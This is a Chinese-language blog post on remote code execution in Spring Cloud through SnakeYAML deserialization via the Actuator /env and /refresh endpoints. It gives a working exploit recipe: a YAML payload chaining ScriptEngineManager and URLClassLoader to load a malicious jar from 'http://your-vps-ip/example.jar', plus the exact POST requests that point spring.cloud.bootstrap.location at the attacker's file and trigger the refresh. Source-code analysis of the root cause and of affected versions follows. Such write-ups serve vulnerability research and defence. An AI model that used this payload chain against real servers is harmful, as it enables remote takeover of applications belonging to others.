SpringCloud-SnakeYAML-RCE

SpringCloud-SnakeYAML-RCE

利用条件

Ps:支持/env的post的好像必须要springCloud,springBoot我怎么都不可以搜了网上一堆也不行,有大佬知道可以说说为什么

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

漏洞复现

1.在网站根目录下放置后缀为 yml 的文件 example.yml,内容如下

1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]

2.准备一个恶意jar,实现SPI,很简单如下

3.设置 spring.cloud.bootstrap.location 属性

spring1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

spring2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}

4.刷新配置

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json

漏洞原理

从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致,这个在我博客其他文章就有提过了,这里就不再多说

看几个关键的地方,处理 /refresh 接口请求的类在org.springframework.cloud.endpoint.RefreshEndpoint#refresh

第二个是 BootstrapApplicationListener.bootstrapServiceContext() 方法,这里从环境变量中获取到了 spring.cloud.bootstrap.location 的值

最后在 org.springframework.boot.env.PropertySourcesLoader.load() 方法,根据文件名后缀 (yml) ,使用 YamlPropertySourceLoader 类加载 url 对应的 yml 配置文件,因 spring-beans.jar 包含 snakeyaml.jar,因此 YamlPropertySourceLoader 在默认情况下是使用 SnakeYAML 库解析配置

高版本无效

在Spring1.x版本当中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
StandardEnvironment environment = new StandardEnvironment();
MutablePropertySources capturedPropertySources = environment.getPropertySources();
Iterator var4 = capturedPropertySources.iterator();

PropertySource source;
while(var4.hasNext()) {
source = (PropertySource)var4.next();
capturedPropertySources.remove(source.getName());
}

var4 = input.getPropertySources().iterator();

while(var4.hasNext()) {
source = (PropertySource)var4.next();
capturedPropertySources.addLast(source);
}

environment.setActiveProfiles(input.getActiveProfiles());
environment.setDefaultProfiles(input.getDefaultProfiles());
Map<String, Object> map = new HashMap();
map.put("spring.jmx.enabled", false);
map.put("spring.main.sources", "");
capturedPropertySources.addFirst(new MapPropertySource("refreshArgs", map));
return environment;
}

在Spring2.x版本当中,却有限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
StandardEnvironment environment = new StandardEnvironment();
MutablePropertySources capturedPropertySources = environment.getPropertySources();
String[] var4 = DEFAULT_PROPERTY_SOURCES;
int var5 = var4.length;

for(int var6 = 0; var6 < var5; ++var6) {
String name = var4[var6];
if (input.getPropertySources().contains(name)) {
if (capturedPropertySources.contains(name)) {
capturedPropertySources.replace(name, input.getPropertySources().get(name));
} else {
capturedPropertySources.addLast(input.getPropertySources().get(name));
}
}
}

environment.setActiveProfiles(input.getActiveProfiles());
environment.setDefaultProfiles(input.getDefaultProfiles());
Map<String, Object> map = new HashMap();
map.put("spring.jmx.enabled", false);
map.put("spring.main.sources", "");
map.put("spring.main.web-application-type", "NONE");
capturedPropertySources.addFirst(new MapPropertySource("refreshArgs", map));
return environment;
}

必须在DEFAULT_PROPERTY_SOURCES当中的才能被添加到propertySourceList,而恰好

1
private static final String[] DEFAULT_PROPERTY_SOURCES = new String[]{"commandLineArgs", "defaultProperties"};

结论

  • Spring Boot 2.x 无法利用成功
  • Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功
  • Spring Boot <= 1.4 可利用成功